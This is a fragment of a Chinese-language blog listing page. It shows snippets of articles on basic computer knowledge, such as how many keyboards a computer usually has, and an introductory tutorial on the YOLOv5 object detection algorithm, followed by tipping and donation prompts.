    瀏覽(134)
  • 電腦入門基礎(chǔ)知識

    答:一般情況下,電腦鍵盤只有一個。但是,也有一些特殊的情況,例如游戲玩家可能會使用額外的游戲鍵盤,或者一些專業(yè)人士可能會使用多個鍵盤來提高工作效率。但是在大多數(shù)情況下,一臺電腦通常只會連接一個鍵盤。 答:外接鍵盤和筆記本鍵盤的按鍵數(shù)可能會有所不

    2024年02月04日
    瀏覽(24)
  • YOLOv5基礎(chǔ)知識入門(2)— YOLOv5核心基礎(chǔ)知識講解

    YOLOv5基礎(chǔ)知識入門(2)— YOLOv5核心基礎(chǔ)知識講解

    前言: Hello大家好,我是小哥談。 YOLOV4出現(xiàn)之后不久,YOLOv5橫空出世。YOLOv5在YOLOv4算法的基礎(chǔ)上做了進(jìn)一步的改進(jìn),使檢測性能得到更進(jìn)一步的提升。YOLOv5算法作為目前工業(yè)界使用的最普遍的檢測算法,存在著很多可以學(xué)習(xí)的地方。本文將對YOLOv5檢測算法的核心基礎(chǔ)知識進(jìn)行

    2024年02月14日
    瀏覽(25)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包